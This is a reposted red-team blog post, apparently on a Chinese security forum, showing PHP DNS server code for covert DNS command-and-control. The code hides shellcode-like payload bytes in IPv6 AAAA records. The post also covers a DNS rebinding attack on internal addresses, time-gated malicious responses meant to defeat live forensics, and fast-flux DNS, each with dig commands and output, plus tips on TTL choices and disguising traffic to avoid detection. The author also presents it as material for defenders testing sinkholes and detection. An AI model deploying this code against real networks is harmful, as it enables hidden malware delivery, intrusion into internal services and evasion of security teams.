首页
社区
课程
招聘
[转帖]DNS for red team purposes
2020-3-19 17:25 4547

[转帖]DNS for red team purposes

2020-3-19 17:25
4547

Original link: https://blog.redteam.pl/2020/03/dns-c2-rebinding-fast-flux.html

Introduction

In the following blog post I would like to demonstrate a proof-of-concept for how red teamers can build DNS command & control (DNS C2, DNS C&C), perform DNS rebinding attack and create fast flux DNS. We will focus only on the DNS server part without building a complete working platform.

 

This approach can also be used by blue teams for building DNS blackhole / DNS sinkhole. The BIND9 software allows blue teamers to create a DNS blackhole using statically configured DNS RPZ (Response Policy Zones). However sometimes they might need to include some dynamic logic to interact with malware. For example simulation of communication with C2, when malware is verifying checksums on the fly using DNS request and responses. Additionally defenders can also test malicious DNS communication against IDS/IPS/firewall solutions implemented in their organisations.

Environment setup

I will be using a simple DNS server written in PHP 7.2 [https://github.com/yswery/PHP-DNS-SERVER (v1.4.1)] and will present only relevant code fragments, to avoid making this blog post messy. The code is based on simple-ns [https://github.com/samuelwilliams/simple-ns]. Full code sample for C2 communication using IPv6 DNS records can be found on GitHub [https://github.com/adamziaja/dns-c2].

DNS server as C2

At the beginning I would like to implement my idea introduced in one of the previous blog posts [https://blog.redteam.pl/2019/08/threat-hunting-dns-firewall.html] about bypassing DNS firewall using payloads hidden in IPv6 records. This can be done with the following PHP code:

 

$str = bin2hex('redteam.pl eleet');

 

$aaaa = substr(chunk_split($str, 4, ':'), 0, -1);

 

var_dump($aaaa); // string(39) "7265:6474:6561:6d2e:706c:2065:6c65:6574"

 

Sample PHP DNS server code:

 

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_AAAA === $query->getType()) {

 

$str = bin2hex('redteam.pl eleet');

 

$aaaa = substr(chunk_split($str, 4, ':'), 0, -1);

 

$answer = new ResourceRecord();

 

$answer->setName($query->getName());

 

$answer->setClass(ClassEnum::INTERNET);

 

$answer->setType(RecordTypeEnum::TYPE_AAAA);

 

$answer->setRdata($aaaa);

 

$answer->setTtl(3600);

 

$answers[] = $answer;

 

}

 

Response can be tested with a DNS query sent using a command such as:

 

$ dig @1.3.3.7 redteaming.redteam.pl AAAA +short

 

7265:6474:6561:6d2e:706c:2065:6c65:6574

 

In a common DNS configuration where we use static zone configuration we can’t add any dynamic logic. Using approach described in this blog post we can do it and make on the fly decisions about DNS responses.

 

A classic round-robin DNS returns a complete list of IP addresses in each response for load balancing purposes. In our case we can implement a similar approach, however we will not return a complete list for each query but respond with only one IP address, different each time. Such approach can help us (please note this is not a silver bullet) to hide in regular DNS traffic because it will not trigger an alert related to large amount of data in a single DNS response, such as a large number (10+) of records in round-robin response.

 

For example we can transfer a payload taken from one of my previous blog posts [https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html]:

 

$ cat payload.txt

 

\xd9\xf7\xd9\x74\x24\xf4\x5a\xbf\x3e\x85\xd7\x8e\x2b

 

\xc9\xb1\x31\x31\x7a\x18\x03\x7a\x18\x83\xc2\x3a\x67

 

\x22\x72\xaa\xe5\xcd\x8b\x2a\x8a\x44\x6e\x1b\x8a\x33

 

\xfa\x0b\x3a\x37\xae\xa7\xb1\x15\x5b\x3c\xb7\xb1\x6c

 

\xf5\x72\xe4\x43\x06\x2e\xd4\xc2\x84\x2d\x09\x25\xb5

 

\xfd\x5c\x24\xf2\xe0\xad\x74\xab\x6f\x03\x69\xd8\x3a

 

\x98\x02\x92\xab\x98\xf7\x62\xcd\x89\xa9\xf9\x94\x09

 

\x4b\x2e\xad\x03\x53\x33\x88\xda\xe8\x87\x66\xdd\x38

 

\xd6\x87\x72\x05\xd7\x75\x8a\x41\xdf\x65\xf9\xbb\x1c

 

\x1b\xfa\x7f\x5f\xc7\x8f\x9b\xc7\x8c\x28\x40\xf6\x41

 

\xae\x03\xf4\x2e\xa4\x4c\x18\xb0\x69\xe7\x24\x39\x8c

 

\x28\xad\x79\xab\xec\xf6\xda\xd2\xb5\x52\x8c\xeb\xa6

 

\x3d\x71\x4e\xac\xd3\x66\xe3\xef\xb9\x79\x71\x8a\x8f

 

\x7a\x89\x95\xbf\x12\xb8\x1e\x50\x64\x45\xf5\x15\x9a

 

\x0f\x54\x3f\x33\xd6\x0c\x02\x5e\xe9\xfa\x40\x67\x6a

 

\x0f\x38\x9c\x72\x7a\x3d\xd8\x34\x96\x4f\x71\xd1\x98

 

\xfc\x72\xf0\xfa\x63\xe1\x98\xd2\x06\x81\x3b\x2b

 

We can send it in a IPv6 responses (AAAA records) using the following sample code:

 

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_AAAA === $query->getType()) {

 

$answer = new ResourceRecord();

 

$answer->setName($query->getName());

 

$answer->setClass(ClassEnum::INTERNET);

 

$answer->setType(RecordTypeEnum::TYPE_AAAA);

 

$payload = 'payload.txt';

 

$lines = file($payload);

 

if (count($lines) > 0) {

 

​ $v = 47;

 

​ $x = str_replace('\x', '', trim($lines[0]));

 

​ if (strlen($x) < 26) {

 

​ $q = 26 - strlen($x);

 

​ $p = str_repeat('0', $q);

 

​ $x = $x . $p;

 

​ }

 

​ $y = date('md') . $v;

 

​ $z = $x . $y;

 

​ $aaaa = substr(chunk_split($z, 4, ':'), 0, -1);

 

​ array_shift($lines);

 

​ $file = join('', $lines);

 

​ file_put_contents($payload, $file);

 

} else {

 

​ $aaaa = 'dead:beef:dead:beef:dead:beef:dead:beef';

 

}

 

$answer->setRdata($aaaa);

 

$answer->setTtl(3600);

 

$answers[] = $answer;

 

}

 

Our payload will be extracted line by line from payload.txt file and put into consecutives DNS queries. After each DNS response, the line that has been sent in response is removed from the file. Before putting our payload into IPv6 records we need to encode it. At the beginning \x char is removed from the payload and if a line contains less than 26 characters it is padded using 0’s. A date in a MMDD format and a 2 digit number will be appended to each string. These 2 digits may be used as identifiers for payload parts etc. When a complete payload has been transferred, DNS server will start to respond with a static IPv6 address (in our case deadbeef [https://en.wikipedia.org/wiki/Hexspeak]) – in a real attack scenario this IPv6 address should have a less conspicuous value, e.g. some trusted IPv6 address of Google.

 

If we will not query our DNS server directly then the TTL value should be changed to 1 or so, because with TTL value 3600 DNS response will be stored in a DNS cache for one hour (3600 seconds). However in a real life scenario, where attacker is using a DNS server configured inside an organisation, TTL can be set for example to 600 and each line of the payload will be collected every 10 minutes (600 seconds). Then our example 17 lines of payload will be transferred in less than 3 hours (17 10 = 170 minutes), to possibly avoid detection especially when TTL <10, as this is usually quite suspicious. Remember that this can be detected too, with a technique called *malware beaconing [https://www.first.org/resources/papers/conference2012/warfield-michael-slides.pdf]. However this can be a good solution for red team if blue team is not capable to perform such queries like counting DNS request/responses in real time, for example because of large amount of data or lack of SIEM etc.

 

For example let’s take the first and last line (because it will have less characters than the other lines) to better explain the idea how this malicious transfer using IPv6 records will work:

 

\xd9\xf7\xd9\x74\x24\xf4\x5a\xbf\x3e\x85\xd7\x8e\x2b

 

d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647

 

\xfc\x72\xf0\xfa\x63\xe1\x98\xd2\x06\x81\x3b\x2b

 

fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647

 

Additionally to avoid easy detection it is important that all addresses are valid for IPv6 notation:

 

$ echo 'd9f7:d974:24f4:5abf:3e85:d78e:2b03:1647' | php -R 'echo filter_var($argn, FILTER_VALIDATE_IP, FILTER_F

 

LAG_IPV6).PHP_EOL;'

 

d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647

 

$ echo 'fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647' | php -R 'echo filter_var($argn, FILTER_VALIDATE_IP, FILTER_F

 

LAG_IPV6).PHP_EOL;'

 

fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647

 

Now we can test if everything works as intended:

 

$ for i in $(seq 1 20);do dig @1.3.3.7 redteaming.redteam.pl AAAA +short | xargs sipcalc | grep ^Expanded | awk '{print $4}';done

 

d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647

 

c9b1:3131:7a18:037a:1883:c23a:6703:1647

 

2272:aae5:cd8b:2a8a:446e:1b8a:3303:1647

 

fa0b:3a37:aea7:b115:5b3c:b7b1:6c03:1647

 

f572:e443:062e:d4c2:842d:0925:b503:1647

 

fd5c:24f2:e0ad:74ab:6f03:69d8:3a03:1647

 

9802:92ab:98f7:62cd:89a9:f994:0903:1647

 

4b2e:ad03:5333:88da:e887:66dd:3803:1647

 

d687:7205:d775:8a41:df65:f9bb:1c03:1647

 

1bfa:7f5f:c78f:9bc7:8c28:40f6:4103:1647

 

ae03:f42e:a44c:18b0:69e7:2439:8c03:1647

 

28ad:79ab:ecf6:dad2:b552:8ceb:a603:1647

 

3d71:4eac:d366:e3ef:b979:718a:8f03:1647

 

7a89:95bf:12b8:1e50:6445:f515:9a03:1647

 

0f54:3f33:d60c:025e:e9fa:4067:6a03:1647

 

0f38:9c72:7a3d:d834:964f:71d1:9803:1647

 

fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647

 

dead:beef:dead:beef:dead:beef:dead:beef

 

dead:beef:dead:beef:dead:beef:dead:beef

 

dead:beef:dead:beef:dead:beef:dead:beef

 

Our example payload has 17 lines:

 

$ wc -l payload.txt

 

17 payload.txt

 

Because of it last three DNS responses are generic, as our bash loop had 20 DNS requests. It demonstrates that it works as intended and after sending a payload the response became static, as predefined in the code.

DNS rebinding attack

Similar code can be used to perform a DNS rebinding attack [https://capec.mitre.org/data/definitions/275.html]:

 

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {

 

$answer = new ResourceRecord();

 

$answer->setName($query->getName());

 

$answer->setClass(ClassEnum::INTERNET);

 

$answer->setType(RecordTypeEnum::TYPE_A);

 

$cfg = 'cfg.txt';

 

$lines = file($cfg);

 

if (count($lines) > 0) {

 

​ $a = explode(';', trim($lines[0]));

 

​ $answer->setRdata($a[0]);

 

​ $answer->setTtl($a[1]);

 

​ array_shift($lines);

 

​ $file = join('', $lines);

 

​ file_put_contents($cfg, $file);

 

} else {

 

​ $a = '1.3.3.7';

 

​ $answer->setRdata($a);

 

​ $answer->setTtl(5);

 

}

 

$answers[] = $answer;

 

}

 

$ cat cfg.txt

 

1.3.3.7;5

 

192.168.0.1;1

 

192.168.1.1;1

 

127.0.0.1;1

 

We store IP addresses and TTL values for each address in cfg.txt file and each line is used in a DNS response. At first we send DNS response with attacker’s IP address 1.3.3.7 and then attacked IP address with TTL set to one second. After that we keep responding with attacker IP address.

 

$ for i in $(seq 1 10);do dig @1.3.3.7 redteaming.redteam.pl A | egrep -v '^;|^$';done

 

redteaming.redteam.pl. 5 IN A 1.3.3.7

 

redteaming.redteam.pl. 1 IN A 192.168.0.1

 

redteaming.redteam.pl. 1 IN A 192.168.1.1

 

redteaming.redteam.pl. 1 IN A 127.0.0.1

 

redteaming.redteam.pl. 5 IN A 1.3.3.7

 

redteaming.redteam.pl. 5 IN A 1.3.3.7

 

redteaming.redteam.pl. 5 IN A 1.3.3.7

 

redteaming.redteam.pl. 5 IN A 1.3.3.7

 

redteaming.redteam.pl. 5 IN A 1.3.3.7

 

redteaming.redteam.pl. 5 IN A 1.3.3.7

 

This can be easily customized to fit an approach required in various kinds of attacks based on DNS rebinding.

Time based DNS response

Using dynamic logic in DNS responses, red teamers can deceive blue teams using anti-forensic techniques as similar to this which I described in my previous blog post [https://blog.redteam.pl/2020/01/deceiving-blue-teams-anti-forensic.html]. Malicious response can be limited to some short time period and if a query will be sent in different time period then response will be non-malicious. In this case if blue teamers don’t log (DNS) traffic or DNS queries they will have to rely on a live analysis. These responses during live analysis can be different than malicious ones, previously sent to the victim. This is an another good reason to store network traffic, of course if you can afford it, or at least try to log selected protocols.

 

Time based DNS response can be sent using the code below (pay attention if your target is not in the same time zone as machine where this code is executed):

 

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {

 

$answer = new ResourceRecord();

 

$answer->setName($query->getName());

 

$answer->setClass(ClassEnum::INTERNET);

 

$answer->setType(RecordTypeEnum::TYPE_A);

 

if (4 == date('H')) {

 

​ $answer->setRdata('1.1.1.1');

 

} else {

 

​ $answer->setRdata('2.2.2.2');

 

}

 

$answer->setTtl(1800);

 

$answers[] = $answer;

 

}

 

Only if a query will be sent at 4 AM the malicious DNS response will be returned, this malicious response can contain the real IP address of C2 server, but if a query will be sent on a different hour then the answer will also be different, like an IP address of some trusted resource. Such approach can be useful when our target doesn't have 24/7 Security Operations Center (SOC) and the security team will perform analysis during work hours, assuming that they don't log all traffic or DNS queries for offline analysis and will need to perform live analysis (do DNS queries in time of doing analysis, not just to analyze stored logs or traffic).

Fast flux DNS

We can also create fast flux DNS [https://attack.mitre.org/techniques/T1325/]:

 

if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {

 

$answer = new ResourceRecord();

 

$answer->setName($query->getName());

 

$answer->setClass(ClassEnum::INTERNET);

 

$answer->setType(RecordTypeEnum::TYPE_A);

 

$fastflux = [

 

​ '1.1.1.1',

 

​ '2.2.2.2',

 

​ '3.3.3.3',

 

​ '4.4.4.4',

 

​ '5.5.5.5',

 

​ '6.6.6.6',

 

​ '7.7.7.7',

 

​ '8.8.8.8',

 

​ '9.9.9.9',

 

​ '10.10.10.10',

 

​ '11.11.11.11',

 

​ '12.12.12.12',

 

​ '13.13.13.13',

 

​ '14.14.14.14',

 

​ '15.15.15.15'

 

];

 

$ff = array_rand($fastflux);

 

$answer->setRdata($fastflux[$ff]);

 

$answer->setTtl(rand(1, 5));

 

$answers[] = $answer;

 

}

 

For each DNS request we take a random value from an array of IPv4 addresses (A record) with random TTL value between 1 and 5 seconds, and return it in a DNS response:

 

$ for i in $(seq 1 15);do dig @1.3.3.7 redteaming.redteam.pl A | egrep -v '^;|^$';done

 

redteaming.redteam.pl. 2 IN A 9.9.9.9

 

redteaming.redteam.pl. 5 IN A 6.6.6.6

 

redteaming.redteam.pl. 2 IN A 5.5.5.5

 

redteaming.redteam.pl. 4 IN A 10.10.10.10

 

redteaming.redteam.pl. 4 IN A 5.5.5.5

 

redteaming.redteam.pl. 3 IN A 9.9.9.9

 

redteaming.redteam.pl. 1 IN A 11.11.11.11

 

redteaming.redteam.pl. 2 IN A 12.12.12.12

 

redteaming.redteam.pl. 5 IN A 10.10.10.10

 

redteaming.redteam.pl. 2 IN A 14.14.14.14

 

redteaming.redteam.pl. 2 IN A 6.6.6.6

 

redteaming.redteam.pl. 3 IN A 11.11.11.11

 

redteaming.redteam.pl. 5 IN A 14.14.14.14

 

redteaming.redteam.pl. 1 IN A 8.8.8.8

 

redteaming.redteam.pl. 4 IN A 15.15.15.15

 

If there will be a large amount of data then IP addresses in DNS response will be “more random”.

Summary

It is important to mention that we can do this for any domain, not only on the one which we control on a global DNS. In this case the DNS client, such as malware, simply needs to send a direct query to our DNS server (in the examples above it is 1.3.3.7). In a direct DNS query an attacker can use for example google.com or any other trusted domain. This is the reason why threat hunters should investigate not only DNS server logs but also monitor traffic for i.a. direct DNS queries, as I explained in more details in a blog post about DNS threat hunting [https://blog.redteam.pl/2019/08/threat-hunting-dns-firewall.html]. I also hope the following blog post will be useful for blue teamers, who can test their defensive tools ability to detect such malicious DNS communications.


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回